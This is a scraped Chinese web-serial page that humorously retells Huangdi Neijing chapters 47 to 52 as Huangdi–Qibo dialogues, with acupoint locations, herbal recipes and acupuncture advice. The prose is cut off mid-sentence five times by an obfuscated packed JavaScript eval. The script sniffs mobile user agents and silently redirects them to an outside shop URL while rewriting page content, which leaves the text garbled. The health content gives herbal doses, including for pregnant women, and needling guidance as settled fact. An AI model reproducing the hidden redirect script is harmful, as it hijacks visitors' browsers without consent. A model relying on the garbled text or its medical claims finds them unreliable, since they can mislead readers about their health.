这时候，岐伯老先生可能会建议你，来一场“心灵与身体的双重SPA”，不过咱们得用现代的方式来实现。首先，咱们得找个“穴位按摩师”，其实就是自己动手，丰衣足食。比如，揉揉内关穴（位于前臂掌侧，腕横纹上2寸，掌长肌腱与桡侧腕屈肌腱之间），这可是心脏的守护神，轻轻一按，仿佛给心脏送去了温柔的安慰，告诉它：“好啦好啦，白天辛苦了，晚上该休息了。” 再来说说肝的问题，咱们可以找找太冲穴（位于足背侧，第一、二跖骨结合部之前凹陷处），这个穴位就像是肝的“情绪调节器”，当你感觉压力大、心情烦躁时，用力按压这里，让那股子郁结之气随着指尖的力道缓缓散去，心情自然就舒畅了，晚上也就能安稳入睡了。 不过，光按摩还不够，咱们还得来点“食疗小偏方”。想象一下，如果身体是一座宫殿，那么食物就是宫殿里的厨师，能为你烹饪出各种滋养身心的佳肴。比如，对于心神不宁的朋友，可以试试“安神桂圆汤”。取桂圆干10颗（约20克），红枣5颗（约15克），加水煮开后小火慢炖半小时，加点蜂蜜调味，一碗下肚，暖胃更暖心，让你的心神回归宁静的港湾。 而对于肝气不舒的夜猫子们，咱们可以来个“疏肝解郁茶”。取薄荷叶5克（一小撮就够），玫瑰花5朵（象征美丽与和谐），用开水冲泡，焖上几分钟，让花香与草香交织在一起，喝上一口，仿佛春风拂面，所有的烦恼都随风而去，只留下身心的轻松与愉悦。 本小章还未完，请点击下一页继续阅读后面精彩内容！ 奇病论篇第四十七 黄帝有一天突发奇想，问岐伯：“嘿，岐伯啊，你说这有的人啊，怀孕到了第九个月，突然就变得不能说话了，跟个哑巴似的，这到底是咋回事儿呢？”岐伯一听，捋了捋他那长长的白胡子，笑眯眯地说：“陛下，这事儿啊，得从人体的奥秘讲起。您知道，孕妇肚子里的宝宝，那可是跟母亲紧密相连的，特别是那个‘胞之络脉’，它就像一根细线，紧紧系着肾脏。而这根线呢，又跟少阴经脉手拉手，一路穿肠过肚，最后还跟咱们的舌头根部打了个结。所以啊，一旦这胞络出了问题，比如断了或者堵了，那舌头根儿就得不到足够的滋养，自然就说不出话来啦！” 黄帝一听，恍然大悟：“哦，原来如此！那咱们得怎么治呢？总不能让孕妇一直这么哑着吧？”岐伯摇了摇头，一脸淡定地说：“陛下莫急，这事儿其实急不得。您想啊，这是自然规律在作祟，等到十月怀胎，瓜熟蒂落，孩子一出生，这胞络自然就恢复了，说话的功能也就跟着回来了。咱们中医讲究的是顺应自然，无为而治嘛！” 黄帝听了，哈哈大笑：“好一个无为而治，岐伯你真是深得我心啊！不过，你刚才提到的那个‘刺法’里的‘无损不足，益有余’，听起来挺有意思的，给我详细说说？”岐伯便开始了他的长篇大论：“这‘无损不足’，就是说啊，如果病人本来就身体虚弱，瘦得跟竹竿似的，那咱们就不能再用针灸啊、砭石啊这些外力去折腾他了，不然就是雪上加霜嘛！至于‘无益其有余’，则是说，如果病人肚子里已经鼓鼓囊囊的，比如有积水啊、肿块啊，这时候你要是再给他泻一泻，想把多余的东西排出去，那可就大错特错了。为啥呢？因为这一泻，很可能就把身体里的精华也给泻出去了，到时候病没治好，反而把身体搞垮了，这就叫‘病独擅中’，也就是病邪独占了身体的意思。所以啊，咱们得等时机成熟，就像等果子自然熟透一样，然后再慢慢调理，这就叫‘疹成而调之’。” 说到这里，岐伯突然话锋一转，笑眯眯地对黄帝说：“陛下，您看，这中医之道，是不是就像咱们做饭一样？得掌握好火候，得知道什么时候该加水，什么时候该加盐，不能急也不能慢，得慢慢来，才能做出一桌美味佳肴，对吧？”黄帝一听，连连点头：“对对对，岐伯你说得太对了！中医之道，果然博大精深，咱们得好好琢磨，好好传承啊！” 说到这里，咱们不妨再聊聊那些古老的穴位和方剂。虽然现在咱们不用那些古老的穴位名称了，但它们的功效和原理还是一样的。比如，咱们现在说的“肾俞穴”，在古代可能就是“肾之俞”，意思都是肾脏在背部的反应点，多按按能补肾强身。至于方剂嘛，那更是千变万化，但万变不离其宗，都是根据病人的病情和体质来量身定制的。 比如说，有个孕妇因为怀孕后期身体虚弱，容易感冒咳嗽，咱们就可以给她开一剂“玉屏风散”。这方子简单得很，就三味药：黄芪、白术、防风，按照一定比例（比如黄芪15克、白术10克、防风6克）混合在一起，煎水喝。黄芪补气，白术健脾，防风固表，三药合用，就像给身体筑起了一道坚固的屏障，让外邪无法入侵。这样一来，孕妇的身体自然就强壮了，感冒咳嗽也就好了。 黄帝一脸严肃地问：“哎，岐伯啊，你说这有人老觉得胁下胀得慌，气儿还老往上顶，这么个毛病拖了两三年都不见好，这到底是啥疑难杂症啊？” 岐伯捋了捋他那飘逸的胡须，慢悠悠地说：“陛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14318186|152391||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下，这病啊，有个文雅的名字叫‘息积’。您听听，这名字多有意思，就像是身体里住了个爱积气的‘小淘气’。不过您放心，这病不影响吃饭，胃口好得很，就是治起来有点棘手。针灸啊、艾灸啊，这些常规手段可不好使，得靠导引术加上对症的草药慢慢调理。单靠吃药啊，就像是给这‘小淘气’送零食，治标不治本，得双管齐下才行。” 黄帝一听，乐了：“哈哈，你这比喻倒是挺生动。那再问你个事儿，有人全身从大腿根儿到小腿肚子都肿得跟萝卜似的，还特别是肚脐周围疼得要命，这又是什么情况？” 岐伯一听，眉头微皱，仿佛是在脑海里翻阅着《黄帝内经》的电子版：“哦，那个啊，是叫‘伏梁’。这名字听着就像是肚子里藏了条‘潜伏的梁’，其实是风邪作祟的根儿。这风邪啊，它不老实，跑到大肠里溜达一圈，还特地在肚脐下面的盲肠那块儿安营扎寨了。您知道，盲肠那位置，在咱们现代人说的‘神阙穴’附近，那可是人体的重要交通枢纽。所以，这风邪一捣乱，肚脐周围自然就疼得厉害了。” 黄帝点头，一副若有所思的样子：“原来如此，那治这病有啥讲究不？” 岐伯认真地说：“治这病啊，得小心翼翼，千万不能随便乱动它，不然啊，风邪和水湿一勾结，就变成了‘水溺涩’的毛病，也就是小便不利，那可是雪上加霜了。治疗嘛，得根据病人的具体情况，用些祛风除湿、利水消肿的草药，比如茯苓、泽泻、车前子这些，每样来个十几克，煮水喝，慢慢调理。不过，最重要的还是要调整生活作息，饮食清淡，别让风邪有可乘之机。” 本小章还未完，请点击下一页继续阅读后面精彩内 容！ 大奇论篇第四十八 首先，咱们说说这“肝满、肾满、肺清皆实，即为肿”。哎呀，这可不是说咱们的肝脏、肾脏吃多了撑得满满当当就会肿起来哦！这里的“满”和“实”，其实是说它们的功能状态出现了异常，就像宫殿里的库房（肝、肾）堆满了不需要的东西，或者通风不畅（肺虽然清，但整体状态失衡），结果整个宫殿（身体）就开始“发福”，出现了肿胀的情况。这就像咱们周末宅家，零食吃多了，不运动，身体自然就“圆润”了起来嘛。 接下来，“肺之雍，喘而两胠满”。这“雍”字，咱们可以理解为“拥堵”。想象一下，肺这个“空气净化器”堵了，呼吸不畅，那不得大口喘气嘛？而且，这气儿还容易在胸肋两侧（两胠）积聚，感觉就像是穿了一件紧身衣，勒得慌。这时候，咱们得赶紧开窗通风（多做深呼吸，适量运动），让肺活起来！ 再聊聊“肝雍，两肤满，卧则惊，不得小便”。肝要是“雍”了，就像是肝脏这个“情绪调节站”出了故障，全身的气血都不顺畅了。特别是肚子两侧（两肤），感觉像是吹气球一样鼓了起来。晚上一躺下，心里还七上八下的，容易惊醒，连小便都排得不顺畅了。这时候，咱们得学学怎么给肝“减压”，比如少熬夜，多笑笑，让心情像春天的风一样舒畅。 至于“肾雍，脚下至少腹满，胫有大小，髀胫大跛，易偏枯”。哎哟，这肾一“雍”，下半身可就遭殃了。从脚底到小肚子都胀胀的，小腿还粗细不均，走起路来一拐一拐的，这画面，简直是现实版的“企鹅漫步”。长期下去，还可能引发“偏枯”，也就是半身不遂的风险。这时候，咱们得赶紧给肾“松松绑”，比如适量喝水，多吃黑色食物补肾，还有，记得别老坐着不动，起来走走，让肾也活动活动筋骨。 说到脉象，那可是中医的独门秘籍。比如“心脉满大，痫瘛筋挛”，这心脉要是跳得又强又快，还伴随着抽搐痉挛的症状，就像是心脏在敲鼓，提醒咱们得注意情绪管理，别让自己“火”太大了。而“肝脉小急，痫瘛筋挛”，肝脉细且急促，同样会引来抽筋的烦恼。这时候，咱们得学会“柔肝”，就像对待娇嫩的花朵一样，温柔以待，别让它“急”坏了。 最有趣的是这段：“肝脉骛暴，有所惊骇，脉不至若喑，不治自已。”这说的是肝脉突然变得急促而强烈，像是受到了惊吓，但过了一会儿，脉象又恢复正常，好像什么都没发生过一样。这就像是咱们偶尔被小吓一跳，心跳加速，但很快就调整过来了。这种情况嘛，其实不用太担心，就像是一场虚惊，自己就能“不治自愈”。 “肾脉小急，肝脉小急，心脉小急，不鼓皆为瘕”。这里的“瘕”，咱们可以理解为肚子里的“小秘密”，可能是个肿块，也可能是气血不畅形成的结块。当肾、肝、心的脉象都变得细而急促，但又不像正常跳动那样有力时，就得警惕这些“小秘密”了。这时候，就得找中医大夫好好瞧瞧，用温和的方法，比如针灸、中药，来慢慢调理，让身体回归和谐。 “肾、肝并沉为石水”，这话听起来挺玄乎，但其实讲的是如果肾脉和肝脉都显得深沉而有力，同时伴随着身体出现水肿，尤其是那种坚硬如石、难以消退的水肿，中医就称之为“石水”。这就像是身体里的河流被大石头堵住了，水流不畅，自然就形成了积水。不过别担心，中医有它的办法，比如通过利水消肿的中药方剂，比如“五苓散”，那可是古代名医 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14318187|152391||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 张仲景的杰作，主要由茯苓、猪苓、泽泻、白术、桂枝五味药组成，每样几克，具体还得看病情，就像做菜放调料，得恰到好处。 “并浮为风水”，嘿，这可不是说风水轮流转的那种风水哦！这里的“风水”指的是一种起病急、发展迅速的水肿病，特点是脉象浮，就像水面上漂浮的叶子，轻轻一碰就晃悠。肾和肝的脉象都浮起来时，往往伴随着这样的水肿，中医就称之为“风水”。治疗起来呢，可能得用到发汗解表、利水消肿的法子，比如“越婢汤”，通过让身体微微出汗，再配合利尿，把多余的水分排出去。 “并虚为死”，哎呀，这听起来可有点吓人。不过别慌，这里的“死”不是真的说人就没救了，而是指病情危重，预后不佳。当肾脉和肝脉都显得极其虚弱，几乎摸不到时，往往预示着身体正气极度亏虚，就像是树木失去了根系的滋养，随时可能枯萎。这种情况下，中医会采取大补元气、扶正固本的策略，比如用“独参汤”这样的猛药，直接给身体注入强大的生命力，但具体用量可得小心翼翼，多了少了都不行，得精准到克，比做甜品调糖还讲究。 “并小弦欲惊”，这句话说的是肾脉和肝脉都细小而弦紧，像是紧绷的琴弦，随时可能断裂，预示着患者可能有惊恐不安的情绪或者容易发生抽搐等症状。这就像是身体里的两个小人在打架，力量虽然不大，但动静可不小。治疗上，中医会注重安神定志、平肝熄风，比如用“柴胡加龙骨牡蛎汤”，这方子就像是个和事佬，既能安抚肝的“小脾气”，又能让心神安定下来，各种药材的比例也是精心调配，确保药到病除。 本小章还未完，请点击下一页继续阅读后面精彩内容！ 脉解篇第四十九 说起这太阳经啊，它跟咱们的腰椎痛可是有着不解之缘呢！您知道吗，在古代医家眼里，尤其是正月那会儿，太阳正值寅位，寅嘛，就像初升的太阳，光芒初现，但大地还沉浸在冬日的余寒之中。这时候啊，阳气就像个急于出头的小伙子，拼命往上窜，可底下的阴气还牢牢占据着地盘，不肯轻易让位。结果呢，阳气这家伙没地儿站，只能在腰部那块儿“堵车”，于是乎，腰椎就肿了起来，疼得让人直哼哼。 咱们再来聊聊这“病偏虚为跛”的趣事。您想象一下，正月里，冰雪初融，大地回暖，阳气就像被解冻的泉水一样，咕嘟咕嘟地往外冒。但是啊，总有那么些地方，冬天冻得狠了点，回暖也慢半拍，就像人的身子骨，哪边冬天受了点凉，春天就容易“偏虚”。这偏虚一来，走起路来自然就一瘸一拐的，成了“跛脚大侠”。所以啊，冬天保暖工作可得做好，不然春天就得“跛”着过！ 再来说说“强上引背”这个现象，那简直是阳气界的“拔河比赛”嘛！想象一下，阳气这家伙攒了一冬天的劲儿，一到春天就跟打了鸡血似的，噌噌噌往上冲，跟背部的经络来了个激烈对抗。结果呢，背部肌肉紧绷绷的，脖子也硬得像根棍子，这就是所谓的“强上引背”了。这时候啊，做做拉伸，揉揉穴位，比如风池、肩井，就像是给阳气和经络当裁判，让它们和谐共处，身体自然也就舒坦了。 说到“耳鸣”，那更是阳气太过“热情”的表现了。春天一到，万物复苏，阳气也是火力全开，恨不得把整个世界都照亮。这时候啊，耳朵里的气血也跟着沸腾起来，就像是开了一场热闹的派对，耳朵外面却静悄悄的，里面却热闹得跟过年似的，嗡嗡直响。这时候，咱们得给耳朵降降温，听听轻音乐，做做耳保健操，让阳气别那么“闹腾”。 至于“甚则狂巅疾”，那可是阳气和阴气玩起了“跷跷板”游戏，结果玩脱了。阳气一个劲儿地往上冲，阴气呢，在下面干着急也上不来。上面阳气堆成山，下面阴气空荡荡，这身体能不乱套吗？于是，有的人就开始出现精神亢奋，甚至狂躁不安的症状。这时候啊，就得想办法让阳气和阴气“握手言和”，比如中医里的针灸、汤药，都是调节阴阳的好帮手。 “浮为聋者”，这个听起来有点玄乎，但其实说的是气机不畅导致的耳聋。就像是一条河，水流被堵住了，下游自然就干涸了。咱们的耳朵啊，也是靠气血滋养的，气血一堵，耳朵就“罢工”了。这时候啊，得疏通经络，让气血畅通无阻，耳朵才能重新听到美妙的声音。 还有“入中为喑”，这就像是阳气和阴气在身体里开了场“争夺战”，结果阳气赢了，但自己也累得够呛，声音都发不出来了。这时候的人啊，就像是嗓子被锁住了一样，说话都费劲。这时候啊，得赶紧给身体补补元气，让阳气恢复活力，同时也要注意滋阴润燥，让阴阳平衡，声音才能恢复如初。 再说说“内夺而厥，则为喑俳”，这简直就是肾虚界的“大事件”了。肾乃先天之本，肾气一虚，全身都要遭殃。这时候的人啊，不仅说话不利索，还可能连走路都摇摇晃晃的，成了“喑俳”大侠。这时候啊，得赶紧补肾啊！中医里的六味地黄丸、金匮肾气丸都是补肾的好药，但记得啊，药补不如食补，多吃点黑色食物，比如黑芝麻、黑豆啥的，对肾好着呢！ 至于“少阴不至者，厥也”，这说的是少阴经的气血不足也会导致晕厥。少阴经跟心肾都有关系，心肾不交，气血就难以顺畅运行。所以啊，平时得多注意养心养肾，别让少阴经“罢工”了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14318188|152391||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说起这中医里的少阳经啊，就像是咱们身体里的那个活力四射的“小太阳”，一旦它过于兴奋，也就是我们说的“少阳盛”，那可就热闹了。你想啊，这“小太阳”一亢奋，首先遭殃的就是心和胁部，为啥呢？因为它们就像是这“小太阳”的近邻，直接感受到了那份热烈的“关照”。就像你夏天站在大太阳底下，晒得心慌慌，胁部也隐隐作痛，对吧？这九月啊，阳气逐渐退场，阴气悄悄登台唱主角，就像是舞台上的灯光从明媚转为幽暗，身体里的这股子“少阳之火”没地儿撒欢儿了，自然就转向了心和胁部，让它们成了“出气筒”。 再来说说这“不可反侧”的奇妙感受。咱们知道，阴气一来，就像是大自然里的冬爷爷，喜欢把一切都收藏起来，让它们安安静静地休息。身体里的这股阴气也一样，它一来，就像给身体里的“小家伙们”下了个“静止令”，让它们别乱动。所以啊，你躺在床上想翻个身，嘿，感觉就像是被什么无形的力量给按住了，动弹不得，这就是“阴气藏物”的魔力啦！ 至于“甚则跃”这个说法，那就更有趣了。想象一下，九月到了，万物凋零，树叶一片片往下掉，就像是大自然在做一个深呼吸，把一年的阳气都缓缓吐了出去，转而迎接阴冷的冬天。咱们身体里的这股气也是一样，它从阳气的地盘撤退，悄悄地溜到了阴气的怀抱里。但这股气可不是个省油的灯，它在阴气里越积越多，越积越强，最后“噌”的一下，就像火山爆发前的那股子躁动，让人感觉身体里有股力量在蠢蠢欲动，想要冲破束缚，这就是“跃”的感觉啦！当然了， 这可不是真的让你跳起来，而是身体内部气机的一种微妙变化。 小主，这个章节后面还有哦，请点击下一页继续阅读，后面更精彩！ 刺要论篇第五十 黄帝好奇地问：“嘿，岐伯，我一直特想听听，这针灸里头有啥大学问，能不能给我说道说道？” 岐伯一听，嘿，这可是个展示专业的好机会，便笑眯眯地答道：“黄帝啊，你算是问对人了。咱们说这病啊，它就像个调皮的孩子，时而躲得深不见底，时而浮在表面招摇过市。对应到针灸上，那就是得讲究个深浅有度，得根据病情来下针，就像是给这病孩子量身定做的‘捉迷藏’游戏。” “你看，如果病情在表皮，比如感冒初起，咱们就轻轻浅浅地刺几下，好比是微风拂面，温柔地唤醒身体的防御机制，让它自己起来赶跑病菌。这时候，你可别拿着针当长矛，往深了扎，那不成了‘伤敌一千，自损八百’了嘛！深了，就伤了正气，内伤了五脏六腑，那可是自找苦吃。” “反过来，要是病根儿藏得深，比如风湿骨痛，那就得深入敌后，精准打击了。但也得小心翼翼，不能一股脑儿地猛扎，得找到那关键的穴位，比如现代咱们说的‘足三里’、‘肾俞’这些穴位，它们就像是身体里的秘密通道，一通百通，能引导气血直达病灶，温柔而坚定地瓦解病邪的防线。” “这深浅之道，就像是炒菜放盐，少了无味，多了齁人。针灸也是如此，不深不浅，刚刚好，才是真功夫。要是深浅不得法，嘿，那可就是自找麻烦，不仅治不了病，反而成了身体的‘大盗贼’，搅得五脏六腑不得安宁，以后还可能引发更大的健康问题，那就得不偿失了。” 说到这里，岐伯顿了顿，看黄帝听得津津有味，便继续用更生动的例子解释：“你想啊，咱们的身体就像一座精心设计的宫殿，五脏六腑就是里面的重要房间，经络气血则是连接各处的秘密通道。针灸师就像是宫殿的守护者，得用智慧和技巧，通过针灸这把‘钥匙’，打开正确的门，引导正能量去消灭那些‘不速之客’。但要是钥匙用错了地方，或者用力过猛，把门给撬坏了，那宫殿可就乱套了。” “再打个比方，咱们现代人玩手机，屏幕脏了得用软布轻轻擦，对吧？你要是直接上手或者拿块砂纸来，那屏幕不就完了嘛！针灸也是同理，得温柔以待，精准施治。” 黄帝听了，哈哈大笑，拍掌叫好：“岐伯啊岐伯，你这比喻真是绝了！听你这么一说，我感觉针灸这门学问既深奥又有趣，真是受益匪浅啊！” “是啊，黄帝，针灸之道，博大精深，不仅仅是技术活，更是艺术，需要医者用心去感受，用爱去传递。就像我们中医一直倡导的，治病先治心，医患之间的信任与默契，往往能激发出意想不到的疗效。”岐伯感慨道。 话说啊，人的身体就像一座精密的宫殿，从外到内，层层设防，也层层相连。咱们生病的时候，那病邪啊，就像是不请自来的小偷，它可能从门缝（毫毛腠理）悄悄溜进来，也可能直接翻过围墙（皮肤），甚至一路深入到宫殿的核心地带——肌肉、血脉、筋骨，乃至最深处的宝藏库（骨髓）。所以啊，咱们治病，就像抓小偷一样，得找准地方，还得讲究策略。 首先，如果那小偷刚从门缝探了个头（病在毫毛腠理），咱们就得轻轻巧巧地给他来个“温柔一刺”，就像是给皮肤做了一场微型的SPA，绝对不能伤着大门（皮）。为啥？因为皮肤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14318189|152391||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下面住着位娇贵的公主——肺脏。一旦皮肤受了伤，公主可就要闹情绪了（肺动），到了秋天，凉风一吹，嘿，她可能就给你来个“温柔”的报复——温病、疟疾找上门，让你冷得直打哆嗦，就像是被秋天的第一杯冰奶茶给“冻”着了似的。 再来说说，如果那小偷已经翻过了围墙，咱们就得更加小心翼翼了。这时候，咱们要做的，就像是给墙壁（皮）做一次精准的“除虫”，但绝对不能误伤了里面的软装（肉）。为啥？因为肉里面住着位勤劳的管家——脾脏。脾脏一旦受到惊扰（脾动），那可就不得了了，它会记仇的！七十二天后，也就是差不多一年四季转一圈的时候，它会让你肚子胀得像个气球，心情烦躁得像是被猫追的老鼠，连饭都不想吃，就像是在进行一场无声的抗议：“看看你们，把我家的安宁都破坏了！” 说到这儿，咱们不得不佩服古人的智慧，他们通过细致入微的观察，把人体和自然界的变化联系得如此紧密。但话说回来，咱们现代人怎么运用这些智慧呢？别急，我给你支几招。 首先，保持身体的“门户”安全，也就是要注意保暖，别让小病小痛从毫毛腠理入侵。就像咱们冬天要穿暖和点，夏天也别贪凉，空调房里记得披件小外套，别让小风嗖嗖地往身体里钻。 其次，如果感觉皮肤有点不对劲，比如起了疹子、瘙痒啥的，别急着上手抓，也别乱用药膏，最好是找专业的中医大夫看看，用点儿温和的中药外洗或者外敷，就像给皮肤做一次温和的“安检”。 小主，这个章节后面还有哦，请点击下一页继续阅读，后面更精彩！ 刺齐论篇第五十一 黄帝有一天闲来无事，便拉着岐伯老师聊起了天，他一脸好奇地问：“嘿，岐伯老师，您说说看，咱们在针灸的时候，那针扎得深点浅点，里头有啥讲究不？我这心里头啊，总是琢磨着这事儿呢！” 岐伯老师一听，笑眯眯地捋了捋他那长长的白胡子，慢悠悠地说：“哎呀，黄帝啊，你这个问题可是问到点子上了。咱们中医针灸啊，讲究的就是个‘精准’二字。要说这刺的深浅之分，那可是大有学问的。你听好了，我给你细细道来。” “首先啊，咱们说‘刺骨者无伤筋’。这就像是你在玩游戏时，目标是打倒那个隐藏在骨头后面的大Boss，但你得小心别误伤了旁边的小兵——筋络。在咱们身体上，那些深藏的穴位，往往与骨头紧密相连，比如‘环跳’穴，它就在股骨大转子与骶管裂孔连线的外三分之一与中三分之一交点处，下针时得稳准狠，直取要害，同时还得确保不影响到周围的筋腱，免得引起不必要的疼痛或损伤。” “再来说说‘刺筋者无伤肉’。这就好比是在织毛衣时，你得小心翼翼地把线穿过针眼，而不能把旁边的毛线也给扯乱了。在针灸中，有些穴位直接作用于筋腱，比如‘阳陵泉’，它位于小腿外侧，腓骨头前下方凹陷处，是治疗筋骨疾病的要穴。下针时，手法得轻柔而精准，确保针尖只在筋腱间穿梭，不伤及周围的肌肉组织，这样才能达到最佳的治疗效果。” “接下来是‘刺肉者无伤脉’。这就好比你在切水果时，既要切得干净利落，又不能伤了里面的籽儿。咱们的身体里，肌肉与血管交错纵横，比如‘足三里’穴，它位于小腿外侧，犊鼻下3寸，是调理脾胃、增强体质的明星穴。下针时，得找准肌肉间的缝隙，避开下方的血管，这样才能安全有效地刺激穴位。” “说到‘刺脉者无伤皮’，这就有点考验技术了。你想啊，血管那么细，还得在保护皮肤的前提下进行操作，难度可不小。不过，咱们中医讲究的是‘气至病所’，有时候通过特定的手法，比如‘提插捻转’，可以让针感直达血管周围，而不伤及表皮，达到活血化瘀、疏通经络的效果。比如‘列缺’穴，它位于前臂桡侧缘，桡骨茎突上方，腕横纹上1.5寸处，是治疗头项部疾病的重要穴位。” “至于‘刺皮者无伤肉’，这看似简单，实则不然。皮肤是咱们身体的第一道防线，也是最敏感的部分。在针灸时，虽然有些穴位浅在皮部，比如‘皮内针’疗法，但下针时仍需细心，确保针尖只在表皮下浅刺，不伤及真皮层下的肌肉组织，这样才能既安全又有效。” “最后，‘刺筋者无伤骨’，这更是对咱们针灸师技艺的考验。筋腱与骨头紧密相连，却又各自为政。在针灸过程中，我们必须清晰地分辨出筋腱与骨头的界限，确保下针时只作用于筋腱，而不伤及骨头。比如在治疗膝关节疼痛时，我们会选择‘膝眼’穴，它位于髌骨下方两侧凹陷处，下针时需格外小心，以免误伤关节软骨或骨骼。” 黄帝一脸好奇地问：“哎，岐伯啊，你说的那个‘精准下针，不伤无辜’的绝技，到底是怎么个操作法？给朕细细道来！” 岐伯老先生捋了捋胡须，笑眯眯地说：“陛下，这学问可深了。简单来说，就是咱们扎针的时候，得跟武林高手一样，指哪儿打哪儿，还不能误伤无辜。比如说，你想刺激骨头边上的穴位，但不想碰到筋，那就得让针尖刚好到筋旁边就停，别往里钻，这样筋就安然无恙了。反过来，你要是只想动动筋，那就得在针尖碰到肉的时候就收手，别让它深入筋的领地。以此类推，刺肉别伤脉，刺脉别破皮，讲究的就是一个‘恰到好处’。” “那具体来说呢？比如咱们现代人身上的穴位，怎么操作才能既有效又安全？”黄帝追问。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14318190|152391||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 岐伯笑了笑，接着说：“好嘞，咱们就拿现代人来打个比方吧。比如说，你肩膀酸了，想扎个‘肩髃穴’（这穴位在肩膀上，现代针灸图上标得清清楚楚），你得先找准位置，手要稳，心要静，针尖轻轻刺入皮肤，感觉像是蜻蜓点水一样，别一猛子扎太深，不然可能就跑到下面的‘肩髎穴’去了，那可是管关节活动的，跟咱们这次的目标不完全一样。” “再比如，有人胃不舒服，想扎‘足三里’（这可是个养生大穴，在小腿外侧），这时候就得注意，针得从皮肤慢慢深入，经过肌肉层，但别一股脑儿扎到骨头边上的‘阳陵泉’去了，那可是调节胆经的，虽然也重要，但这次咱们的目标是胃嘛。” 黄帝听得津津有味，点头称赞：“妙哉！这针灸之道，果然如同绣花一般，需细心、耐心加技术。” “正是如此，陛下。”岐伯接着说，“这针灸啊，不仅仅是技术的活，更是心性的修炼。就像做菜，同样的食材，高手能做出色香味俱全的佳肴，而新手可能就煮成了大锅烩。针灸也是如此，同样一个穴位，高手能精准刺激，达到四两拨千斤的效果，而若是手法不当，不仅治不了病，还可能添乱。” “那要是万一失手，比如针尖不小心碰到了不该碰的地方怎么办？”黄帝关切地问。 “嘿，陛下多虑了。”岐伯笑道，“这就得靠我们平时勤学苦练，对人体 结构了如指掌。万一真有这种情况，咱们还有补救措施，比如及时调整针的角度，或者轻轻提插捻转，引导气血流动，让它回到正轨上来。总之，针灸之道，安全第一，效果第二，咱们得时刻谨记。” 说到这里，岐伯又补充了一句：“而且啊，陛下，这针灸不仅仅是治疗疾病，更是一种养生之道。定期做做针灸，疏通经络，调和气血，比吃啥都强。就像咱们现代人说的，预防胜于治疗嘛。” 刺禁论篇第五十二 黄帝好奇地问岐伯：“老师啊，我很想听听那些关于身体保养的禁忌与秘诀，您能详细讲讲吗？”岐伯捋了捋胡须，微笑着回答道：“陛下所言极是，人体之内，五脏六腑各有其要害之处，这些微妙之处，我们不可不细心体察啊。” “比如说，咱们常说‘肝生于左’，这可不是说肝真的长在左边那么简单，它寓意着肝气主升发，如同春日之阳，从东方升起，给予万物生机。而‘肺藏于右’，则是说肺气主降敛，如同秋日之金，收敛万物于西方，保持体内的平衡与和谐。这两者一升一降，恰似自然界的昼夜更替，不可或缺。” “再来说心，‘心部于表’，这里的心不仅仅是指心脏这个器官，更是指心主血脉、主神明，它的影响力遍布全身，表现在外就是我们的面色、神情乃至整个人的精神状态。心若安泰，则面色红润，神采奕奕；反之，则面色无华，精神萎靡。” “肾呢，被称为‘肾治于里’，它藏精主水，是生命之根，先天之本。肾精充足，则人体发育健全，骨骼强壮，精力充沛；肾精亏虚，则会出现一系列衰老和虚弱的表现。所以，保护肾脏，就是守护我们的生命之源。” “至于脾，被形象地称为‘脾为之使’，它就像是身体里的快递员，负责将食物转化为营养，并输送到全身各处。脾健则气血生化有源，身体各部位都能得到滋养；脾虚则运化无力，身体就会营养不良，出现各种亚健康状态。” 